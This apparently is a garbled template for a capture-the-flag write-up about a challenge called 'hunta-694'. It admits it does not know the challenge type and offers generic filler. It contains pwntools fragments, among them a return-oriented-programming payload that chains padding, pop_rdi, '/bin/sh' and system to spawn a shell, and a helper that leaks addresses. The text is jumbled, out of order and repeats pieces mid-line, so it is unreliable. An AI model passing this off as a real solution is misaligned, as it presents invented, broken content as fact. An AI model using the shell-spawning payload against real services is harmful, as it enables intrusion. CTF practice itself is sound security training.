Hunta-694 -

# ---------------------------------------------------------------------- # Exploit # ---------------------------------------------------------------------- def main(): io = start()

rop_payload = flat( b'A' * offset, pop_rdi, bin_sh, system ) io.sendlineafter(b'> ', rop_payload)

#!/usr/bin/env python3 from pwn import * hunta-694

$ nc <host> <port> or a local wrapper script ( run.sh ). Capture traffic with tcpdump / wireshark or socat . Below are the most common vulnerability patterns. Mark the ones that actually appear in hunta‑694 .

Because the exact nature of the challenge (binary, web, crypto, pwn, rev, etc.) isn’t known from the name alone, the write‑up is organized in a modular way so you can fill in the details that are specific to the actual task. Mark the ones that actually appear in hunta‑694

If the challenge is a , use:

def leak_address(io, payload): io.sendlineafter(b'Input:', payload) io.recvuntil(b'Leaked: ') leak = io.recvline().strip() return u64(leak.ljust(8, b'\x00')) use: def leak_address(io

CTF<something_related_to_the_challenge> Capture it with: